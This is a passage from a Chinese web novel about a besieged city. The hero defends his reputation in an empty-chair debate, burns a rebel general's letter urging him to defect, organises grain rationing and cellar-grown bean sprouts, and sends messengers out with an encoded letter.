“一篇檄文而已,能奈我何?”陈平川站起身,眼中闪烁着自信的光芒,“他想玩舆论战,那我就陪他好好玩玩。” “他不是想让我身败名裂吗?我偏要借着他搭的这个台子,让我的声望,在庐州城,再上一个台阶!” 秦王看着他胸有成竹的样子,心里的担忧消散了大半,好奇心却被勾了起来。 “你小子,又有什么鬼主意了?快说来听听!” 陈平川神秘一笑,凑到秦王耳边,低语了几句。 秦王听着听着,眼睛越瞪越大,最后忍不住哈哈大笑起来,指着陈平川道:“你啊你!真是个妖孽!这种主意也亏你想得出来!” 陈平川也笑道:“到时候,还请秦王您配合平川,一起把这出戏唱好!” “好说好说!”秦王表情严肃起来,道:“只要对守城有利,你尽管吩咐,本王在所不辞!” …… 李威盼星星盼月亮,总算把陈平川盼来,他急得满头大汗。 “陈大人,这可怎么办?再这样下去,庐州城就要从里面乱了!” 陈平川却交给他一个任务:“去把城里最好的木匠都找来,在城中广场,给我搭一个高台。” “高台?”李威一愣。 陈平川嘴角勾起一抹冷意。 “对,还要全城张贴告示。” 他顿了顿,一字一句地说道。 “就说明日午时,我陈平川,要在那里和天公将军辩一辩,也给大家一个说法!” …… 陈平川要在广场上与天公将军辩论的消息,飞快传遍了庐州城的每一个角落。 百姓们都懵了。 “什么?给我们一个说法?” “天公将军在城外,他要怎么辩?” “陈平川该不是被吓傻了吧?” “管他呢,明天去看看就知道了!我倒要看看他能耍出什么花样!” 怀疑、好奇、愤怒、期待……种种复杂的情绪在城中发酵。 第二天午时,庐州城中心的广场上,早已是人山人海,黑压压的一片,连周围的房顶和树上都爬满了人。 所有人的目光,都盯着广场中央那个连夜搭建起来的木制高台。 高台之上,陈设简单。 没有旗帜,没有仪仗,只在正中央摆着两张椅子。 一张椅子上,陈平川一袭青衫,安静地坐着,神情自若。 而另一张椅子,却是空的。 空椅子的靠背上,用白纸黑墨,写着五个大字——天公将军座。 台下的百姓们议论纷纷,交头接耳。 “搞什么名堂?还真给天公将军留了座?” “人又不在,这是要跟鬼说话吗?” 就在这时,陈平川来到广场。 他走上高台,目光平静地扫过下方数万张表情各异的脸。 广场上瞬间安静了下来,落针可闻。 “我知道,大家心里有很多疑问,很多愤怒。” 陈平川的声音通过一个简易的铁皮扩音器,清晰地传到每一个人的耳朵里。 “我也知道,大家看了天公将军的檄文,觉得我陈平川是个背信弃义、贪生怕死的小人。” 他的直白开场,直接让所有人都愣住了。 “所以今天,我请大家来,就是想把话说清楚。” 说完,他转身,对着那张空椅子,做了一个请的手势。 “天公将军,久仰大名。你的檄文,我拜读过了。写得很好,很能煽动人心。” 台下一片哗然。 这人是疯了吗?对着空气说话? 陈平川仿佛听到了众人的心声,他抖了抖手里的纸单,朗声笑道:“天公将军人虽然没来,但他的话,他的檄文,已经来了。” “今天,我就坐在这里。” “对着这张空椅子,对着他的檄文,一条一条地辩!” “让大家评评理,我陈平川守这庐州城,到底是为了谁!” 说罢,他猛地一甩衣袖,在属于自己的那张椅子上,坦然坐下。 阳光照在他的身上,将他的身影拉得颀长。 “第一,你的檄文里说我,背弃了《安民论》的理想,投靠秦王,沦为了皇权鹰犬。” 陈平川看着空椅子,仿佛贾青就坐在那里。 “敢问将军,何为理想?” 陈平川站起身,伸手指着台下的万千百姓。 “我的理想,是让天下间所有像他们一样的普通人,都能有饭吃,有衣穿,有房住!” “是让他们不用再被苛捐杂税逼得卖儿卖女,不用再被贪官污吏欺压得家破人亡!” 这章没有结束,请点击下一页继续阅读!“是让他们能活得像个人,活得有尊严!” “我陈平川在顺城,开商路,减赋税,练新军,抗蛮族,是不是为了这个理想?” 他看向城头守军的方向。 “我在庐州府整顿军务,救济难民,抵御贼军,惩治贪腐,是不是为了这个理想?” 他的声音陡然拔高,振聋发聩! 台下的百姓们骚动起来,显然被陈平川慷慨激昂的宣言触动。 陈平川没有停顿,继续对着空椅子发问。 “第二,你的檄文里还说我,与富商权贵同流合污,盘剥百姓,要牺牲全城军民,然后自己中饱私囊,偷偷逃跑。” 他冷笑一声。 “说得好啊!说得真是义正辞严!” “可是,天公将军,你大概不知道。” “就在你大军围城,城中粮价飞涨,人心惶惶的时候。” 他指向台下的一个方向。 “庐州富商,张盛财张员外,已经拿出了他家所有的存粮,准备在城中开设粥棚,平价售卖!明天大家就能看到我说的是不是真的!” 张盛财挺着大肚子,从人群中挤了出来,对着大家拱了拱手,一脸憨厚。 陈平川又指向另一边。 “我的恩师,城中学识渊博的方先生,这几日不眠不休,奔走于大街小巷,安抚士子民心,告诉大家要相信朝廷,相信我们能守住庐州!” 方先生也站了出来,对着众人一揖。 最后,陈平川的目光,落在了秦王的身上。 “还有我们大业朝的秦王殿下。” “就在昨天,他当着全城所有官员的面,宣布王府所有用度减半,与全城军民,共渡难关!” “他告诉我,只要城中还有一个百姓在挨饿,他秦王府就绝不多吃一粒米!” 秦王一身素衣,排开众人,缓缓走上高台。 他没有说话。 只是对着台下的百姓,深深地鞠了一躬。 然后,他做了一个让所有人永生难忘的举动。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第214章 惊天阳谋,贾青的王炸! 秦王拍了拍手。 几名王府侍卫,抬着一口漆黑的棺材,走入广场,就放在高台下面。 秦王转过身,指着那口棺材,声音铿锵有力。 “本王,祝衡,大业朝的秦王,今日在此立誓!” “庐州城在,本王在!” “城若破,此棺,便是本王最后的归宿!” “本王将与诸位,与这庐州城,共存亡!” 轰! 全场彻底沸腾了! 百姓们被深深地撼动了。 一个皇亲国戚,一个王爷,竟然愿意抬着棺材上阵,与他们这些平头百姓共生死! 这是何等的决心!何等的气魄! 之前檄文带来的那些怀疑和动摇,在这一刻,被冲击得烟消云散。 陈平川看着台下情绪激动的百姓,再次开口,声音里充满了力量。 “现在,我来回答天公将军的问题。” “我陈平川,会不会逃?” “我身后,是抬棺死战的王爷!我身边,是毁家纾难的乡绅!我面前,是信任我的庐州父老!” “我,能往哪里逃?!” “我,又为什么要逃?!” “我告诉你们,我不仅不逃,我还要带着大家,守住这座城!打败城外的反贼!” “因为,这城里有我的家,有我的父母妹妹,有我的朋友!” “更有我陈平川,身为大业读书人,不容退缩的责任与道义!” 他猛地转身,指着那张空椅子,厉声喝问。 “贾青!现在我问你!” “你所谓的‘天国’,在哪里?在你虚无缥缈的许诺里!你所谓的‘平等’,在哪里?在你党同伐异的屠刀下!” “你拿什么,跟我比?!” “你,配吗?!” 最后三个字,如同惊雷,炸响在每个人的心中。 台下的百姓,再也控制不住自己的情绪。 “陈大人说得对!” “我们信你!陈大人!” “狗屁的天公将军!就是个骗子!” “守住庐州!打死反贼!” 山呼海啸般的呐喊声,响彻云霄,仿佛要将城墙都震塌。 一场足以颠覆全城的名誉危机,就这样被陈平川用一场精彩绝伦的“单口相声”,变成了一场巩固人心、凝聚士气的完美舞台。 城墙的某个角落,一名伪装成百姓的天公道探子,面如死灰地看着眼前的一切。 他知道,将军的计策,彻底失败了。 悄悄挤出人群,找了一个无人的角落,他地从怀里掏出信鸽,将这里发生的一切,写在纸条上,放飞了出去。 …… 天公道大营。 主帅营帐之内,气氛压抑。 贾青面无表情地看着手中传回来的密报,纸上寥寥数语,将庐州城内那场“空椅子辩论会”的盛况,描绘得淋漓尽致。 “抬棺死战的王爷……” “毁家纾难的乡绅……” “我,能往哪里逃?!” 贾青一字一句地念着,每念一个字,脸上的肌肉就抽搐一下。 “啪!” 他猛地将手中的密报拍在桌上,冷笑连连。 “好!好一个陈平川!” 他声音里充满了压抑不住的怒火,但更多的,却是一种近乎变态的欣赏和兴奋。 “能将人心玩弄于股掌之间,将一场必输的舆论战,硬生生扭转成凝聚人心的誓师大会!” “陈平川啊陈平川,你果然没有让我失望!” 贾青站起身,在营帐内来回踱步,手中的羽扇摇得飞快。 他的大脑也在飞速运转。 陈平川的应对,完全超出了他的预料。 这个对手,比他想象中还要棘手,不过也更有趣! 强攻不行,攻心又被他轻易化解。 怎么办? 贾青的目光,再次落在了桌上那本已经卷边的《安民论》上。 他轻轻抚摸着书页,眼中闪烁着奇异的光芒。 “既然软硬都不吃,那就只能……换一个办法了。” 一个更加阴险、更加歹毒的计策,在他心中慢慢成型。 他要给陈平川一个无法拒绝的诱惑。 一个足以让任何人都背叛信念、抛弃原则的诱惑。 “来人!笔墨伺候!” 贾青坐回案前,亲自研墨,铺开一张上好的宣纸。 他提笔沉思片刻,随即笔走龙蛇,一气呵成。 写完后,他又从怀中取出一块雕刻着麒麟的黄铜大印,这正是他天公将军的帅印! 他将信纸和麒麟帅印装入一个精致的木盒,递给亲信。 “你亲自去一趟庐州城下,以休战使者的名义,要求面见陈平川。” “记住,一定要当着所有人的面,将这封信,大声地念给他听!” “是!将军!”亲信领命,不敢有丝毫怠慢,立刻转身离去。 贾青看着他离去的背影,嘴角缓缓勾起一抹阴险的笑容。 “陈平川,我倒要看看,这一次,你如何接招。” …… 第二天上午,庐州南城门。 城外的天公道大军偃旗息鼓,一名使者高举着代表休战的白旗,孤身一人来到城下,声称有天公将军的亲笔信,要面呈庐州主将陈平川。 这章没有结束,请点击下一页继续阅读!消息很快传到了陈平川耳中。 李威等人都是一脸警惕。 “陈大人,这贾青又在搞什么鬼?” “黄鼠狼给鸡拜年,没安好心!” 陈平川却只是淡淡一笑:“去看看不就知道了?” 他与秦王和一众庐州文武官员,端坐大堂。 片刻后,那名天公道使者昂首挺胸,一脸傲气地走了进来。 见到陈平川出现,他高声喊道:“你可是陈平川?” “是我。”陈平川平静地回答。 “我家天公将军有书信一封,命我当众宣读,你可敢听?”使者举着手中的木盒,语气中充满了挑衅。 秦王皱了皱眉,低声对陈平川说:“平川,小心有诈。” 陈平川给了他一个安心的眼神,朗声道:“有何不敢?念!” 使者打开木盒,取出了信纸,清了清嗓子,大声念了起来。 “陈平川吾弟,见字如面。” 这开头的称呼,就让众人一阵骚动。 什么?谁是你弟? 使者却不管不顾,继续念道: “京城一别,数载未见,弟之风采,更胜往昔。庐州城下,弟之妙计,连破我军,虽为敌手,为兄亦不禁拍案叫绝!” “想你我二人,皆是胸怀大志之辈。然,弟空有经天纬地之才,却屈身于腐朽朝堂,为那昏君懦帝卖命,如明珠蒙尘,实为可悲,可叹!” “今天下大乱,民不聊生,此乃千载难逢之机!大业朝气数已尽,梁氏外戚专权,景帝昏聩无能,正是你我大展宏图之时!” 信读到这里,城楼上所有官员的脸色都变了。 这已经不是招降,而是赤裸裸地策反! 使者的声音越来越激昂。 “为兄已聚数万义师,席卷数州,兵锋所指,所向披靡!然为兄深知,欲成大事,非弟之才智辅佐不可!” “故此,为兄诚心相邀。只要吾弟肯弃暗投明,与我联手,这天下,你我兄弟二人共取之!待大事告成,为兄君临天下,必封吾弟为‘一字并肩王’,坐镇江南,与我共治天下!” “为表诚意,特奉上为兄帅印。见此印,如见我亲临!我天公道数万大军,皆可听从吾弟号令!” “弟若肯顺天应人,则庐州满城生灵,皆可保全;若执迷不悟,他日城破,玉石俱焚,这滔天罪孽,便由弟一人承担!” “何去何从,望弟三思。为兄在城外,静候佳音!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第215章 敬酒不吃?那就让你当个饿死的圣人! 信,念完了。 整个大堂上,陷入了一片死寂。 一字并肩王! 共治天下! 这诱惑,足以令人疯狂! 所有官员的目光,都下意识地汇聚到了陈平川的身上。 他们的眼神中,充满了震惊、怀疑、紧张,还有忧虑。 就连一直对陈平川信任有加的秦王,此刻也是心头狂跳,脸色变得无比凝重。 他知道陈平川的为人,也知道,这是贾青的离间之计。 可是,此时此景,面对如此巨大的诱惑,很少有人能不动心。 一旦陈平川有半点动摇,那刚刚凝聚起来的军心民心,将瞬间土崩瓦解。 庐州,将不攻自破! 天公道的使者一脸得意,他相信,没有人能拒绝这样的条件。 陈平川,也不例外。 在万众瞩目之下,陈平川缓缓地伸出手,抓住那枚沉甸甸的麒麟帅印。 所有人的心都跟着提了起来。 现在,陈平川的每一个动作,都牵动着在场所有人的心弦。 天公道使者,脸上的得意之色愈发浓重。 在他看来,只要陈平川接了这封信,收了这帅印,无论他最终答不答应,猜忌的种子,就已经在庐州守军内部种下了。 秦王会怀疑他,那些官员会提防他,士兵们会动摇。 这叫攻心为上。 可他不知道,陈平川心中一片清明。 贾青啊贾青,你还真是看得起我。 一字并肩王,共治天下? 呵呵,真是好大的手笔。 你以为,这世上所有人都像你一样,被权力的欲望蒙蔽了双眼吗? 你以为,你读了我的《安民论》,就真的懂我陈平川了吗? 你懂的,只是书上的字。 你永远不懂的,是写下这些字的那颗心! 陈平川缓缓抬起头,没有去看城下的使者,而是将目光投向了身边的秦王,投向了那些神情紧张的文武官员,投向了那些手握兵器的普通士兵。 他开口了,声音清晰地传遍了整个大堂。 “王爷,诸位大人,兄弟们。” “大家刚才都听到了,天公将军许诺我,封我为王,与他共治天下。” 他举起手中的帅印,对着众人晃了晃。 他的语气很平淡,秦王等人的心却揪得很紧。 “说实话,”陈平川顿了顿,嘴角勾起一抹自嘲的笑意,“我陈平川,从桃花村一个穷小子,走到今天,做梦都不敢梦到这么大的官。” “平川……”秦王忍不住开口,声音有些干涩。 陈平川却摆了摆手,打断了他。 “可是,我陈平川也记得。” 他的声音陡然变得洪亮而有力。 “我记得,当初王爷您力排众议,将庐州城的军政大权交到我这个庶民手里时,对我说的是,‘保住城中百姓’!” “我记得,城中百姓被谣言蛊惑,是王爷您,抬着棺材走上高台,誓与庐州共存亡!” “我也记得,李威指挥使,还有在场的每一位将士,你们跟着我操练,流血流汗,为的是什么?为的是保家卫国,保护我们身后的父母妻儿!” “现在,”他猛地转身,目光如电,直视使者,“这个叫贾青的人,他让我踩着王爷的棺材,踩着诸位的信任,踩着城中十数万百姓的尸骨,去换一个所谓的‘一字并肩王’?” “他这是在招揽我吗?” “不!” 陈平川的声音如同炸雷。 “他这是在侮辱我!侮辱在场的每一个人!侮辱我们所有为守卫这座城而付出的一切!” 话音未落,他做出了一个让所有人震惊的举动。 陈平川当着所有人的面,将那封写满了诱惑的信纸,连同那枚代表着权力的帅印,一同扔进了火盆之中! “呼”的一声,火焰猛地窜起老高。 信纸瞬间化为灰烬,那坚硬的黄铜帅印,在烈火的炙烤下,也渐渐变得通红,扭曲变形。 火焰的光芒,映照在陈平川年轻而坚毅的脸上,让他整个人看起来,仿佛一尊不可动摇的神只。 城楼上的官员和士兵们,都看呆了。 他们心中的最后一丝疑虑,随着那跳动的火焰,彻底烟消云散。 取而代之的,是发自内心的敬佩和狂热的信赖! 而天公道的使者,脸上的得意之色瞬间凝固,变得惨白。 他张大了嘴,不敢相信自己看到的一切。 烧了? 他就这么给烧了?! 陈平川看着那名失魂落魄的使者,声音冰冷如铁。 “回去告诉贾青。” 陈平川一字一顿,声音传出老远。 “道不同,不相为谋!” “洗颈就戮吧,陈某的刀,会亲自给你一个了断!” 那名使者被陈平川身上散发出的凛冽杀气,吓得浑身一哆嗦,连滚带爬地跑了。 短暂的寂静之后,大堂上爆发出雷鸣般的欢呼声! 那些原本神情紧张的文武官员,此刻一个个面红耳赤,激动不已。 他们看着那个在火焰前挺立的少年,眼神中,先前的怀疑和忧虑早已荡然无存,取而代之的是深深的羞愧与敬服! 本小章还未完,请点击下一页继续阅读后面精彩内容!他们终于明白,秦王为何会如此信重此人! 而那些手握兵器的士兵们,更是热血沸腾!他们高高举起手中的刀枪,用力地捶打着自己的胸甲,发出“砰砰”的闷响!汇聚成一股撼天动地的力量! “陈大人威武!” “誓死追随陈大人!” “与庐州共存亡!” 秦王看着被众人簇拥的陈平川,长长地舒了一口气,脸上露出了欣慰的笑容。 他知道,自己没有看错人。 这个年轻人,身体里蕴含着一股足以改变天地的浩然正气。 …… 天公道大营。 当那名使者屁滚尿流地逃回来,将之前发生的一切,原原本本地汇报给贾青后。 贾青脸上的最后一丝笑容,也消失了。 他静静地坐在帅位上,良久,才从牙缝里挤出几个字。 “好……好一个道不同,不相为谋。” 那双原本闪烁着欣赏光芒的眸子,此刻只剩下冰冷的杀意。 “既然你敬酒不吃吃罚酒,那就别怪我心狠手辣了。” 他站起身,对着帐外的传令兵,下达了冰冷的命令。 “传我将令!” “从今日起,加强围困,连一只鸟,都不许飞出庐州城!” “他陈平川不是想当圣人吗?” “我倒要看看,等城里的粮食吃光了,人开始吃人了,他这个圣人,还怎么当下去!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第216章 绝地求生,地窖里的救命菜 贾青的命令,如同一张无形的巨网,将庐州城勒得更紧了。 城内的气氛,一天比一天压抑。 粮食,成了悬在每个人头顶上的利剑。 秦王府大堂,负责后勤的官员,声音沙哑地汇报着。 “陈大人,城中官仓的存粮,最多……最多还能支撑十日。” “而且,这还是按照最低定量分配的结果。” “黑市的粮价,已经涨到了天上,一斗米,要五十两银子!即便如此,还是有价无市。” “百姓们已经开始宰杀牲畜,连拉车的牛马都……” 官员说不下去了,在座的众人,无不心情沉重。 秦王叹了口气:“本王已经下令,将王府里所有能变卖的东西都拿出去,换取粮食,但……终究是杯水车薪。” 现在的问题不是钱多钱少,而是市面上根本没有粮食流通。 所有人都知道,再不想出办法,十天之后,庐州城将彻底陷入绝境。 到那时,不用天公道攻城,城内就会因为饥饿而爆发大规模的动乱。 人吃人的惨剧,绝不是危言耸听。 就在这令人绝望的寂静中,陈平川站起身,缓步走到大堂中央,望着窗外被阴云笼罩的天空。 “诸位,慌乱解决不了任何问题。” 他转过身,看着众人。 “眼下,我们必须做两件事。” 所有人的目光都集中到了他的身上。 “第一,从即刻起,城内所有粮食,由官府统一调配,任何人不得私自买卖,囤积居奇!” 他看向一名负责城防的将领。 “李将军,你立刻带人,查封所有米粮店铺,将所有粮食登记造册,收归官仓,等围困解除,双倍赔偿!但若有人敢反抗或私藏,就地正法,绝不姑息!” “是!”李威立刻领命。 陈平川又看向一名文官:“王主簿,你立刻组织人手,以户为单位,统计全城人口,制作‘粮食票’。从明日起,全城军民,无论贵贱,按人头定量,凭票领粮。” “这……”王主簿有些迟疑,“大人,此法虽公,但骤然推行,怕是会引起那些富商大户的强烈抵制啊。” “抵制?”陈平川冷笑一声,“是他们的命重要,还是他们的银子重要?告诉他们,现在是战争时期,谁敢跟我讲条件,我就先砍了谁的脑袋!秦王殿下的棺材,可还摆在广场上呢!” 他身上散发出的那股杀伐果断的气势,让在场所有人都是心头一凛。 众人这才想起,眼前这个看似温文尔雅的年轻人,可是在顺城斩过知州,在京城抄过尚书的主。 “是!下官遵命!”王主簿不敢再有异议。 “这是第一件事,节流。”陈平川的目光再次扫过众人,“但这只能延缓我们被饿死的时间,不能解决根本问题。我们还需要……开源。” “开源?”众人面面相觑。 城都被围死了,上哪儿开源去? 陈平川的嘴角勾起一抹神秘的笑容,缓缓说出了自己的第二个计划。 “我需要征用全城所有阴暗、潮湿的地下室和地窖。” “我还需要,大量的绿豆、黄豆。” “我要教大家一种‘无土生蔬’的法子。” 众人听得云里雾里,完全不明白他要干什么。 “无土生蔬?大人,这……这怎么可能?蔬菜不从土里长,难道还能从石头缝里蹦出来?” 面对众人的质疑,陈平川没有过多解释。 行动,是最好的证明。 他当即带着一群人,来到了府衙后院一个废弃的、常年不见阳光的地窖里。 他让人取来一盆清水和一些黄豆。 他将黄豆浸泡在水中,然后用一块湿布盖上。 “好了,接下来,我们只需要每天给它浇点水,保持湿润,然后……等着就行了。” 所有人都像看神仙一样看着他,将信将疑。 这个匪夷所思的计划,迅速在城中传开。 陈平川号召全城百姓,有地窖的出地窖,有豆子的出豆子,共同培育一种神奇的“救命菜”。 起初,响应者寥寥。 但在秦王府和城中官员的带头和号召下,半信半疑的百姓们,也开始行动起来。 张若素也加入了这场轰轰烈烈的“地窖种菜”运动。 她虽然不懂农事,但她聪慧过人,很快就理解了陈平川所说的原理。 她主动请缨,负责编写简单易懂的宣传手册,将培育豆芽的每一个步骤、注意事项,都写得清清楚楚,画成图画,让不识字的老百姓也能一看就懂。 陈平玉召集了很多学堂的小伙伴,帮着抄写张若素的宣传手册,然后分发出去。 而另一边,张静姝展现出了她惊人的组织能力和行动力。 她风风火火地带着自家的仆人,挨家挨户地去动员。 “王大娘,你家那地窖闲着也是闲着,拿出来种豆芽嘛!陈大人说了,种出来的豆芽,三成归你家!” “李嫂子,别心疼那点豆子了!现在是能救命的东西!快拿出来!” 本小章还未完,请点击下一页继续阅读后面精彩内容!她那张能说会道的嘴,加上泼辣干脆的性子,竟然比官员的命令还好使。 城里的妇人们,很快就被她组织成了一个个“种菜小队”。 就这样,两个姑娘一个负责理论指导,一个负责实践动员,以一种出人意料的方式,共同撑起了这项“地窖种菜”运动的半边天。 起初,张静姝对张若素的那套写写画画的文人做派还是有些看不上眼。 “哼,就知道写写画画,百无一用的书呆子。” 可当她看到张若素编写的手册,条理清晰,图文并茂,让整个计划的推广效率大大提高时,她撇了撇嘴,心里也不得不承认,这女人的确有点本事。 而张若素看着那个像个小太阳一样,整天在市井中穿梭,把乱糟糟的妇人们组织得井井有条的张静姝,心中也泛起了一丝异样的感觉。 她本以为,这个姑娘只是个被宠坏了的、刁蛮任性的大小姐。 却没想到,她身体里蕴含着如此强大的活力。 这日傍晚,忙碌了一天的两人,在陈平川家门口相遇。 “喂,书呆子。”张静姝擦了擦额头的汗,先开了口,“你那破图纸还挺管用,那些大娘们一看就明白了,省了我不少口舌。” “你也不赖。”张若素淡淡地回应,“我以为你只会撒娇和吵架。” 张静姝的脸一红,想反驳,却又找不到话。 两人之间,陷入了一阵短暂的沉默。 “等……等打跑了城外的坏人,”张静姝憋了半天,才小声说了一句,“我请你吃我做的桂花糕。” “但是!”张静姝咬了咬唇角:“平川大哥,我是不会让给你的!” 张若素愣了一下,随即嘴角微微上扬。 “好。” 在这一刻,在这座被围困的孤城里,在为了共同的目标而忙碌的过程中,两个原本针锋相对的姑娘,心中那道坚冰,似乎悄悄融化了一角。 几天后。 第一个地窖里,奇迹发生了。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第217章 全城唯一的生机,竟是她? 当湿布被揭开的那一刻,所有人都发出了不敢相信的惊呼。 只见瓦盆里,密密麻麻的,全是白白胖胖、鲜嫩欲滴的豆芽! 它们在黑暗中,顽强地生长出来,带着一股清新的、生命的芬芳。 “长出来了!真的长出来了!” “天呐!神迹!这真是神迹啊!” 消息传出,全城轰动! 当第一批豆芽被分发到百姓手中,当那清脆爽口的滋味在舌尖绽放时,所有人心中的阴霾,都被这抹鲜嫩的绿色,一扫而空。 这不仅仅是食物。 这是希望! 是在绝境中,无土生根,破土而出的希望! 百姓们将此视为祥瑞,士气大振。 …… 天公道大营。 贾青听着探子的汇报,惊得直接从帅位上站了起来。 “你说什么?!” “短短几天,陈平川就在城里种出了菜?还不用土?!” “是……是的将军,”探子战战兢兢地回答,“全城百姓都在说,那是陈大人求来的‘神仙菜’,是上天庇佑庐州的神迹……” “神迹个屁!” 贾青一脚踹翻了身边的案几,气得浑身发抖。 他本以为,自己已经将陈平川逼入了绝境,只等他山穷水尽,跪地求饶。 却万万没想到,这个家伙,竟然能用这种匪夷所思的法子,凭空变出粮食来! “陈平川!你究竟是何方妖孽!” 贾青的眼中,第一次流露出了深深的忌惮。 他对这个对手的才能,越发感到恐惧,也越发渴望,将其彻底毁灭! 豆芽的出现,极大地缓解了城中缺少蔬菜的问题,更重要的是,它像一剂强心针,让庐州城内原本低迷的士气,再次高涨起来。 然而,陈平川脸上的神情,却依旧凝重。 他比任何人都清楚,豆芽只能救急,不能救命。 它们能提供维生素和希望,却提供不了足够的能量。 城中官仓里的粮食,依旧在以惊人的速度消耗。 每过一天,那悬在头顶的利剑,就落下了一分。 一味地防守,终究是死路一条。 必须破局! 必须主动出击! 他的目光,在墙上的军事地图上,来回逡巡。 最终,停留在了庐州城外数十里处,一个用红色朱砂标记出来的地方——黑风寨。 其实,早在天公道围城之初,他就想过向凤三娘求援。 但这个念头,很快就被他自己否决了。 原因有二。 其一,黑风寨的身份太过敏感。他们是官府眼中的“匪”。秦王命自己做庐州府的守将,而自己却与“匪寇”合作,他担心秦王和其他官员无法接受,所以他要等一个合适的机会。 其二,天公道大军数万人,将庐州围得如铁桶一般。黑风寨虽然人马彪悍,但毕竟人数有限,让他们来冲击数万人的军阵,无异于以卵击石,只会徒增伤亡。 所以,他一直没有下这个决心。 但现在,他没有别的选择。 坐以待毙,满城皆死。 行险一搏,尚有一线生机! 而且他也想到了破解天公道大军的办法! 深夜,陈平川请来了秦王、李威等几位重要官员,还有张金宝,张若素等几位心腹,在密室中议事对策。 当他提出,要派人冲出重围,向黑风寨求援的计划时。 整个密室,陷入了一片安静。 所有人都知道,这个任务,意味着什么。 那数万天公道大军布下的封锁线,就是一道死亡之网。 派人冲出去? 这和直接派人去送死,几乎没什么区别。 “平川,”秦王率先开口,面色忧虑,“只要能解庐州围困,你请谁帮忙本王都不反对,但……此计……太过凶险。且不说能否冲出去,就算冲出去了,黑风寨那些人……他们会来吗?” 朝廷三番五次派兵围剿黑风寨,双方都有死伤,这个节骨眼上,对方会派人来救援? 不趁火打劫就不错了! 李威也皱着眉:“是啊,陈大人。就算黑风寨愿意救我们,但他们才多少人?一千?五千?外面可是有五万敌军啊!” 陈平川正要解释。 “大哥!” 张金宝忽然红着眼睛,他走到众人面前,大声说道。 “让我去!” 张金宝抬起头,眼神里是前所未有的坚定。 陈平川眉头一皱:“金宝,你胡闹什么!这不是去玩!会死人的!” “我不!”张金宝的脖子一梗,倔脾气上来了。 他看着陈平川,声音里带着一丝哽咽。 “大哥,我知道,我这个人笨,没用,帮不上什么忙……” “这些天,我看着你为了守城,整天整夜不睡觉,人都瘦了一大圈。” “我看着若素姐,看着……看着我妹,她们一个写字,一个组织人,都在为守城出力。” “就连城里的那些大娘,都在地窖里种豆芽!” “可我呢?我张金宝身为你陈平川的兄弟,什么都没做!每天除了吃饭,就是睡觉!我就是个废物!” 这章没有结束,请点击下一页继续阅读!他的眼泪,不争气地流了下来。 “大哥,我不想当废物,我不想给你丢脸!” “我知道这次去很危险,九死一生!可我不想再这么窝囊地待着了!” “求求你了,大哥!让我去吧!” “王爷,让我去吧!” 他对着秦王和陈平川叩头,“砰砰砰”地磕头。 所有人都被这个平日里吊儿郎当的少年,给震撼了。 陈平川静静地看着他,心中百感交集。 他没想到,这个一直跟在自己屁股后面的张大少爷,竟然在不知不觉中,长大了。 “王爷您看……” 陈平川看向秦王,秦王缓缓点头:“既然金宝有这份心,那就……让他去吧!” “好!” 陈平川走上前,将张金宝扶了起来。 他拍了拍张金宝的肩膀,眼神无比严肃。 “记住,你的命,不止是你自己的。你必须给我活着回来。” 他转头对秦王说道:“王爷,请借我两名王府之中,身手最好,最信得过的护卫。” 秦王点了点头,立刻去安排。 陈平川将张金宝拉到一旁,沉声说道。 “这次的任务,冲出去,只是第一步。” “更重要的,是你要送达的信。” 他从怀中掏出一张折叠好的纸。 “这封信,关系到我们所有人的生死。” “无论如何,都要送到凤三娘的手里,知道吗?” 张金宝神色一凛,立即挺起胸膛:“知道了!大哥,你就放心吧!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第218章 这封信,只有我和她能看懂 里屋,油灯的光芒微微摇曳。 陈平川、张金宝,以及秦王派来的两名神情冷峻的精锐护卫,四人相对而立。 气氛肃穆。 陈平川没有多余的废话,他将三封一模一样的信,分别递给了三人。 张金宝好奇地打开信纸。 下一秒,他整个人都愣住了。 信纸上,没有一个字。 满满的,全是一些古怪的符号。 有的像个小点“丶”,有的像道短横“—”。 这些点点横横,毫无规律地排列组合在一起,看得人头晕眼花,就像是三岁小孩的胡乱涂鸦。 “大哥……这……这是什么?”张金宝一脸茫然。 那两名王府护卫,也是满脸困惑。 陈平川压低了声音,神情无比严肃。 “这不是文字,这是一种密码。” “是当年,我和黑风寨大当家凤三娘,事先约定好的一种暗语。除了我们两个人,这世上,再无第三人能看懂。” 他指着那些古怪的符号。 “你们的任务,只有一个,不惜一切代价,将这封信,送到凤三娘的手中。” 他的目光,从三人脸上一一扫过,语气严肃。 “记住,你们身上背负的,是庐州城数十万军民的性命!” “明白!”三人齐声应道,神情凛然。 他们意识到,手中这封看似胡闹的信,重如泰山。 子时,夜色如墨。 在庐州城墙最偏僻的一段,三道黑影,顺着粗大的绳索,悄无声息地滑下城墙。 他们就像三只灵巧的夜猫,落地无声,迅速融入了城外漆黑的荒野之中。 月光下,天公道的营盘连绵不绝,如同蛰伏的巨兽,等待着将一切吞噬。 三人伏低身子,借助着草丛和沟壑的掩护,小心翼翼地向着封锁线摸去。 然而,贾青,又岂是等闲之辈? 他早已料到,被困死在城里的陈平川,迟早会派人出来求援。 一张天罗地网,早已在封锁圈内悄然张开。 三人刚刚潜行了不过数里地。 “谁!站住!” 死寂的夜晚,几道喊声,划破了夜空。 “咻!咻!咻!” 数支响箭,拖着尖锐的啸声,从四面八方射来! “不好!被发现!”一名王府护卫一边闪躲,一边低吼,“小心!” 下一刻,他们周围的黑暗中,无数火把骤然亮起,如同瞬间燃起的鬼火,将方圆百丈之内,照得亮如白昼。 数不清的天公道信徒,从四面八方呐喊着包围而来。 “快走!” 三人被彻底包围,已无退路。 危急关头,那两名王府护卫对视了一眼,都在对方眼中看到了一抹决然。 他们是死士,他们的任务,就是用自己的命,为真正的信使,创造机会。 “张公子!保重!” 其中一名护卫,对着张金宝大吼一声。 随即,他和另一名同伴,怒吼着,毅然决然地朝着完全相反的两个方向,猛冲了出去! “有刺客!在那边!” “别让他们跑了!抓住他们!” 大部分追兵,瞬间被这两道身影所吸引,朝着他们追了过去。 